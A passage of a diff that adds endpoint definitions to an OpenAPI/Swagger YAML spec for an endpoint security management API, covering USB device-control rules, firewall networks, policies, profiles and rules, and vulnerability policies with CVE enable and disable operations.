+  /data/endpoint/device_control/usb/Rule/{id}/duplicate/:
+    parameters:
+      - description: A UUID string identifying this usb rule.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_endpoint_device_control_usb_Rule_duplicate
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/UsbRuleDuplication'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_DeviceControlPolicyUsbRuleDuplicateResponse'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "403":
+          description: Forbidden
+        "404":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - agent
+  /data/endpoint/firewall/Network/:
+    get:
+      description: ""
+      operationId: data_endpoint_firewall_Network_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: endpoints_count
+          required: false
+          type: number
+        - in: query
+          name: policies_count
+          required: false
+          type: number
+        - in: query
+          name: rules_count
+          required: false
+          type: number
+        - in: query
+          name: blocks_count
+          required: false
+          type: number
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/ListFirewallNetwork'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - agent
+    parameters: []
+    post:
+      description: ""
+      operationId: data_endpoint_firewall_Network_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/CreateFirewallNetwork'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/CreateFirewallNetwork'
+      tags:
+        - agent
+  /data/endpoint/firewall/Network/delete/:
+    delete:
+      description: To delete multiple firewall networks.
+      operationId: data_endpoint_FirewallNetwork_delete_list
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/UUIDList'
+      responses:
+        "200":
+          description: Succesfull Network(s) deletion
+          examples:
+            - application/json:
+                code: multiple_network_deleted
+                deleted_network_blocks: 1
+                deleted_networks: 3
+                details: All firewall networks deleted (3 Firewall Network(s) & 1 linked NetworkBlock(s)).
+            - application/json:
+                code: multiple_network_deleted
+                deleted_network_blocks: 2
+                deleted_networks: 2
+                details: Deleted 2 Firewall Network(s) & 2 linked NetworkBlock(s).
+            - application/json:
+                code: no_network_deleted
+                details: No firewall network deleted.
+          schema:
+            $ref: '#/definitions/_FirewallNetworkMassDeleteResponse'
+        "400":
+          description: Error, cannot delete a Network used in a Policy
+          examples:
+            application/json:
+              code: network_in_use
+              details: You cannot delete a Firewall Network used in one or more Policies
+              firewall_policy:
+                - firewall_policy_id: UUID
+                  firewall_policy_name: test_firewall_policy_1
+                - firewall_policy_id: UUID
+                  firewall_policy_name: test_firewall_policy_1
+          schema:
+            $ref: '#/definitions/_FirewallNetworkInUseResponse'
+        "403":
+          description: Forbidden
+      tags:
+        - agent
+    parameters: []
+  /data/endpoint/firewall/Network/export/:
+    get:
+      description: Endpoint for exporting the current queryset as a CSV file.
+      operationId: data_endpoint_firewall_Network_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - agent
+    parameters: []
+  /data/endpoint/firewall/Network/{id}/:
+    delete:
+      description: ""
+      operationId: data_endpoint_firewall_Network_delete
+      parameters: []
+      responses:
+        "204":
+          description: ""
+        "400":
+          description: Error, cannot delete a Network used in a Policy
+          examples:
+            application/json:
+              code: network_in_use
+              details: You cannot delete a Firewall Network used in one or more Policies
+              firewall_policy:
+                - firewall_policy_id: UUID
+                  firewall_policy_name: test_firewall_policy_1
+                - firewall_policy_id: UUID
+                  firewall_policy_name: test_firewall_policy_1
+          schema:
+            $ref: '#/definitions/_FirewallNetworkInUseResponse'
+        "403":
+          description: ""
+          schema:
+            $ref: '#/definitions/FirewallCodeDetailsResponse'
+      tags:
+        - agent
+    get:
+      description: ""
+      operationId: data_endpoint_firewall_Network_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/DetailFirewallNetwork'
+      tags:
+        - agent
+    parameters:
+      - description: A UUID string identifying this firewall network.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_endpoint_firewall_Network_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/UpdateFirewallNetwork'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/UpdateFirewallNetwork'
+      tags:
+        - agent
+    put:
+      description: ""
+      operationId: data_endpoint_firewall_Network_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/UpdateFirewallNetwork'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/DetailFirewallNetwork'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/FirewallCodeDetailsResponse'
+        "403":
+          description: Forbidden
+      tags:
+        - agent
+  /data/endpoint/firewall/Network/{id}/duplicate/:
+    parameters:
+      - description: A UUID string identifying this firewall network.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_endpoint_firewall_Network_duplicate
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/FirewallNetworkName'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_FirewallNetworkCopyResponse'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/FirewallCodeDetailsResponse'
+        "403":
+          description: Forbidden
+        "404":
+          description: ""
+          schema:
+            $ref: '#/definitions/FirewallCodeDetailsResponse'
+      tags:
+        - agent
+  /data/endpoint/firewall/Policy/:
+    get:
+      description: ""
+      operationId: data_endpoint_firewall_Policy_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: endpoints_count
+          required: false
+          type: number
+        - in: query
+          name: network_zones_count
+          required: false
+          type: number
+        - in: query
+          name: rules_count
+          required: false
+          type: number
+        - in: query
+          name: tenant
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/ListFirewallPolicy'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - agent
+    parameters: []
+    post:
+      description: ""
+      operationId: data_endpoint_firewall_Policy_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/CreateFirewallPolicy'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/CreateFirewallPolicy'
+      tags:
+        - agent
+  /data/endpoint/firewall/Policy/delete/:
+    delete:
+      description: To delete multiple firewall policies.
+      operationId: data_endpoint_FirewallPolicy_delete_list
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/UUIDList'
+      responses:
+        "200":
+          description: Succesfull Policy(ies) deletion
+          examples:
+            - application/json:
+                code: multiple_policy_deleted
+                deleted_policies: 3
+                deleted_profile_to_networks: 1
+                details: All firewall policies deleted (3 Firewall Policy(ies) & 1 linked ProfileToNetwork(s)).
+            - application/json:
+                code: multiple_policy_deleted
+                deleted_policies: 2
+                deleted_profile_to_networks: 2
+                details: Deleted 2 Firewall Policy(ies) & 2 linked ProfileToNetwork(s).
+            - application/json:
+                code: no_policy_deleted
+                details: No firewall policy deleted.
+          schema:
+            $ref: '#/definitions/_FirewallPolicyMassDeleteResponse'
+        "400":
+          description: Error, cannot delete a Firewall Policy used in an Agent Policy
+          examples:
+            application/json:
+              agent_policy:
+                - agent_policy_id: dummy_policy
+                  agent_policy_name: test_policy_1
+                - agent_policy_id: dummy_policy
+                  agent_policy_name: test_policy_1
+              code: policy_in_use
+              details: You cannot delete a Firewall Policy used in one or more Agent Policies
+          schema:
+            $ref: '#/definitions/_FirewallPolicyInUseResponse'
+        "403":
+          description: Forbidden
+      tags:
+        - agent
+    parameters: []
+  /data/endpoint/firewall/Policy/{id}/:
+    delete:
+      description: ""
+      operationId: data_endpoint_firewall_Policy_delete
+      parameters: []
+      responses:
+        "204":
+          description: ""
+        "400":
+          description: Error, cannot delete a Firewall Policy used in an Agent Policy
+          examples:
+            - application/json:
+                agent_policy:
+                  - agent_policy_id: dummy_policy
+                    agent_policy_name: test_policy_1
+                  - agent_policy_id: dummy_policy
+                    agent_policy_name: test_policy_1
+                code: policy_in_use
+                details: You cannot delete a Firewall Policy used in one or more Agent Policies
+            - application/json:
+                code: no_policy_deleted
+                details: You cannot delete the default Firewall Policy
+          schema:
+            $ref: '#/definitions/_FirewallPolicyInUseResponse'
+        "403":
+          description: ""
+          schema:
+            $ref: '#/definitions/FirewallCodeDetailsResponse'
+      tags:
+        - agent
+    get:
+      description: ""
+      operationId: data_endpoint_firewall_Policy_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/DetailFirewallPolicy'
+      tags:
+        - agent
+    parameters:
+      - description: A UUID string identifying this firewall policy.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_endpoint_firewall_Policy_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/UpdateFirewallPolicy'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/UpdateFirewallPolicy'
+      tags:
+        - agent
+    put:
+      description: ""
+      operationId: data_endpoint_firewall_Policy_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/UpdateFirewallPolicy'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/DetailFirewallPolicy'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/FirewallCodeDetailsResponse'
+        "403":
+          description: ""
+          schema:
+            $ref: '#/definitions/FirewallCodeDetailsResponse'
+      tags:
+        - agent
+  /data/endpoint/firewall/Policy/{id}/duplicate/:
+    parameters:
+      - description: A UUID string identifying this firewall policy.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_endpoint_firewall_Policy_duplicate
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/FirewallPolicyName'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/SubPolicyCopyResponse'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/FirewallCodeDetailsResponse'
+        "403":
+          description: Forbidden
+        "404":
+          description: ""
+          schema:
+            $ref: '#/definitions/FirewallCodeDetailsResponse'
+        "409":
+          description: ""
+          schema:
+            $ref: '#/definitions/FirewallCodeDetailsResponse'
+      tags:
+        - agent
+  /data/endpoint/firewall/Profile/:
+    get:
+      description: ""
+      operationId: data_endpoint_firewall_Profile_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: default_incoming_action
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: default_outgoing_action
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: rules_count
+          required: false
+          type: number
+        - in: query
+          name: policies_count
+          required: false
+          type: number
+        - in: query
+          name: endpoints_count
+          required: false
+          type: number
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/FirewallProfile'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - agent
+    parameters: []
+    post:
+      description: ""
+      operationId: data_endpoint_firewall_Profile_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/FirewallProfile'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/FirewallProfile'
+      tags:
+        - agent
+  /data/endpoint/firewall/Profile/delete/:
+    delete:
+      description: To delete multiple firewall profiles.
+      operationId: data_endpoint_FirewallProfile_delete_list
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/UUIDList'
+      responses:
+        "200":
+          description: Succesfull Profile(s) deletetion
+          examples:
+            - application/json:
+                code: multiple_profile_deleted
+                deleted_profiles: 7
+                deleted_rules: 89
+                details: All firewall profiles deleted (7 Profile(s) & 89 linked Rule(s)).
+            - application/json:
+                code: multiple_profile_deleted
+                deleted_profiles: 1
+                deleted_rules: 2
+                details: Deleted 1 Profile(s) & 2 linked Rule(s).
+            - application/json:
+                code: no_profile_deleted
+                details: No firewall profile deleted.
+          schema:
+            $ref: '#/definitions/_FirewallProfileMassDeleteResponse'
+        "400":
+          description: Error, cannot delete a Profile used in a Policy
+          examples:
+            application/json:
+              code: profile_in_use
+              details: You cannot delete a Firewall Profile used in one or more Policies
+              firewall_policy:
+                - firewall_policy_id: UUID
+                  firewall_policy_name: test_firewall_policy_1
+                - firewall_policy_id: UUID
+                  firewall_policy_name: test_firewall_policy_1
+          schema:
+            $ref: '#/definitions/_FirewallProfileInUseResponse'
+        "403":
+          description: Forbidden
+      tags:
+        - agent
+    parameters: []
+  /data/endpoint/firewall/Profile/{id}/:
+    delete:
+      description: ""
+      operationId: data_endpoint_firewall_Profile_delete
+      parameters: []
+      responses:
+        "204":
+          description: ""
+        "400":
+          description: Error, cannot delete a Profile used in a Policy
+          examples:
+            - application/json:
+                code: profile_in_use
+                details: You cannot delete a Firewall Profile used in one or more Policies
+                firewall_policy:
+                  - firewall_policy_id: UUID
+                    firewall_policy_name: test_firewall_policy_1
+                  - firewall_policy_id: UUID
+                    firewall_policy_name: test_firewall_policy_1
+            - application/json:
+                code: no_policy_deleted
+                details: You cannot delete the default Firewall Profile
+          schema:
+            $ref: '#/definitions/_FirewallProfileInUseResponse'
+        "403":
+          description: ""
+          schema:
+            $ref: '#/definitions/FirewallCodeDetailsResponse'
+      tags:
+        - agent
+    get:
+      description: ""
+      operationId: data_endpoint_firewall_Profile_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/DetailFirewallProfile'
+      tags:
+        - agent
+    parameters:
+      - description: A UUID string identifying this firewall profile.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_endpoint_firewall_Profile_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/FirewallProfile'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/FirewallProfile'
+      tags:
+        - agent
+    put:
+      description: ""
+      operationId: data_endpoint_firewall_Profile_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/FirewallProfile'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/FirewallProfile'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/FirewallCodeDetailsResponse'
+        "403":
+          description: ""
+          schema:
+            $ref: '#/definitions/FirewallCodeDetailsResponse'
+      tags:
+        - agent
+  /data/endpoint/firewall/Profile/{id}/duplicate/:
+    parameters:
+      - description: A UUID string identifying this firewall profile.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_endpoint_firewall_Profile_duplicate
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/FirewallProfileName'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_FirewallProfileCopyResponse'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/FirewallCodeDetailsResponse'
+        "403":
+          description: Forbidden
+        "404":
+          description: ""
+          schema:
+            $ref: '#/definitions/FirewallCodeDetailsResponse'
+      tags:
+        - agent
+  /data/endpoint/firewall/Profile/{id}/order/:
+    parameters:
+      - description: A UUID string identifying this firewall profile.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_endpoint_firewall_Profile_order
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_FirewallProfileRuleOrdering'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ListFirewallRule'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/FirewallCodeDetailsResponse'
+        "403":
+          description: Forbidden
+        "404":
+          description: ""
+          schema:
+            $ref: '#/definitions/FirewallCodeDetailsResponse'
+      tags:
+        - agent
+  /data/endpoint/firewall/Rule/:
+    get:
+      description: ""
+      operationId: data_endpoint_firewall_Rule_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: index
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: direction
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: action
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: ip_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: local_application
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: enabled
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: local_ip
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: local_ports
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: remote_ip
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: remote_ports
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: profile_id
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/ListFirewallRule'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - agent
+    parameters: []
+    post:
+      description: ""
+      operationId: data_endpoint_firewall_Rule_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/CreateFirewallRule'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/CreateFirewallRule'
+      tags:
+        - agent
+  /data/endpoint/firewall/Rule/delete/:
+    delete:
+      description: To delete multiple firewall rules.
+      operationId: data_endpoint_FirewallRule_delete_list
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/UUIDList'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "403":
+          description: Forbidden
+      tags:
+        - agent
+    parameters: []
+  /data/endpoint/firewall/Rule/{id}/:
+    delete:
+      description: ""
+      operationId: data_endpoint_firewall_Rule_delete
+      parameters: []
+      responses:
+        "204":
+          description: ""
+      tags:
+        - agent
+    get:
+      description: ""
+      operationId: data_endpoint_firewall_Rule_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/DetailFirewallRule'
+      tags:
+        - agent
+    parameters:
+      - description: A UUID string identifying this firewall rule.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_endpoint_firewall_Rule_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/UpdateFirewallRule'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/UpdateFirewallRule'
+      tags:
+        - agent
+    put:
+      description: ""
+      operationId: data_endpoint_firewall_Rule_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/UpdateFirewallRule'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/DetailFirewallRule'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/FirewallCodeDetailsResponse'
+        "403":
+          description: Forbidden
+      tags:
+        - agent
+  /data/endpoint/firewall/Rule/{id}/duplicate/:
+    parameters:
+      - description: A UUID string identifying this firewall rule.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_endpoint_firewall_Rule_duplicate
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/FirewallRuleName'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_FirewallRuleCopyResponse'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "403":
+          description: Forbidden
+        "404":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - agent
+  /data/endpoint/vulnerability/Policy/:
+    get:
+      description: ""
+      operationId: data_endpoint_vulnerability_Policy_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: endpoints_count
+          required: false
+          type: number
+        - in: query
+          name: linked_endpoint_policies_count
+          required: false
+          type: number
+        - in: query
+          name: enabled_cves_count_low
+          required: false
+          type: number
+        - in: query
+          name: enabled_cves_count_medium
+          required: false
+          type: number
+        - in: query
+          name: enabled_cves_count_high
+          required: false
+          type: number
+        - in: query
+          name: enabled_cves_count_critical
+          required: false
+          type: number
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/ListVulnerabilityPolicy'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - agent
+    parameters: []
+    post:
+      description: ""
+      operationId: data_endpoint_vulnerability_Policy_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/CreateVulnerabilityPolicy'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/CreateVulnerabilityPolicy'
+      tags:
+        - agent
+  /data/endpoint/vulnerability/Policy/delete/:
+    delete:
+      description: Delete multiple vulnerability policies.
+      operationId: data_endpoint_vulnerability_Policy_delete_list
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/DeleteVulnerabilityPolicies'
+      responses:
+        "204":
+          description: Succesfull Policy(ies) deletion
+        "400":
+          description: Cannot delete a Vulnerability Policy used in an Agent Policy
+          examples:
+            application/json:
+              agent_policies:
+                - agent_policy_id: dummy_policy
+                  agent_policy_name: test_policy_1
+                - agent_policy_id: dummy_policy
+                  agent_policy_name: test_policy_1
+              code: policy_in_use
+              details: You cannot delete a Vulnerability Policy used in one or more Agent Policies
+          schema:
+            $ref: '#/definitions/_VulnerabilityPolicyInUseResponse'
+        "403":
+          description: Forbidden
+      tags:
+        - agent
+    parameters: []
+  /data/endpoint/vulnerability/Policy/{id}/:
+    delete:
+      description: ""
+      operationId: data_endpoint_vulnerability_Policy_delete
+      parameters: []
+      responses:
+        "204":
+          description: ""
+        "400":
+          description: Cannot delete a Vulnerability Policy used in an Agent Policy
+          examples:
+            - application/json:
+                agent_policies:
+                  - agent_policy_id: dummy_policy
+                    agent_policy_name: test_policy_1
+                  - agent_policy_id: dummy_policy
+                    agent_policy_name: test_policy_1
+                code: policy_in_use
+                details: You cannot delete a Vulnerability Policy used in one or more Agent Policies
+            - application/json:
+                code: default_policy_protection
+                details: You cannot delete the default Vulnerability Policy
+          schema:
+            $ref: '#/definitions/_VulnerabilityPolicyInUseResponse'
+        "403":
+          description: ""
+          schema:
+            $ref: '#/definitions/SubPolicyCodeDetailsResponse'
+      tags:
+        - agent
+    get:
+      description: ""
+      operationId: data_endpoint_vulnerability_Policy_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/DetailVulnerabilityPolicy'
+      tags:
+        - agent
+    parameters:
+      - description: A UUID string identifying this vulnerability policy.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_endpoint_vulnerability_Policy_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/UpdateVulnerabilityPolicy'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/UpdateVulnerabilityPolicy'
+      tags:
+        - agent
+    put:
+      description: ""
+      operationId: data_endpoint_vulnerability_Policy_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/UpdateVulnerabilityPolicy'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/DetailVulnerabilityPolicy'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/SubPolicyCodeDetailsResponse'
+        "403":
+          description: ""
+          schema:
+            $ref: '#/definitions/SubPolicyCodeDetailsResponse'
+      tags:
+        - agent
+  /data/endpoint/vulnerability/Policy/{id}/disable_cve/:
+    parameters:
+      - description: A UUID string identifying this vulnerability policy.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: Disable a single CVE for the vulnerability policy
+      operationId: data_endpoint_vulnerability_Policy_disable_cve
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/CveId'
+      responses:
+        "204":
+          description: ""
+        "403":
+          description: Forbidden
+        "404":
+          description: ""
+          schema:
+            $ref: '#/definitions/SubPolicyCodeDetailsResponse'
+      tags:
+        - agent
+  /data/endpoint/vulnerability/Policy/{id}/disable_cves/:
+    parameters:
+      - description: A UUID string identifying this vulnerability policy.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: Disable multiple CVEs for the vulnerability policy
+      operationId: data_endpoint_vulnerability_Policy_disable_cves
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/CveIdList'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/DisableCveBulk'
+        "403":
+          description: Forbidden
+        "404":
+          description: ""
+          schema:
+            $ref: '#/definitions/SubPolicyCodeDetailsResponse'
+      tags:
+        - agent
+  /data/endpoint/vulnerability/Policy/{id}/duplicate/:
+    parameters:
+      - description: A UUID string identifying this vulnerability policy.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_endpoint_vulnerability_Policy_duplicate
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/VulnerabilityPolicyName'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_VulnerabilityPolicyCopyResponse'
+        "403":
+          description: Forbidden
+        "404":
+          description: ""
+          schema:
+            $ref: '#/definitions/SubPolicyCodeDetailsResponse'
+        "409":
+          description: ""
+          schema:
+            $ref: '#/definitions/SubPolicyCodeDetailsResponse'
+      tags:
+        - agent
+  /data/endpoint/vulnerability/Policy/{id}/enable_cve/:
+    parameters:
+      - description: A UUID string identifying this vulnerability policy.
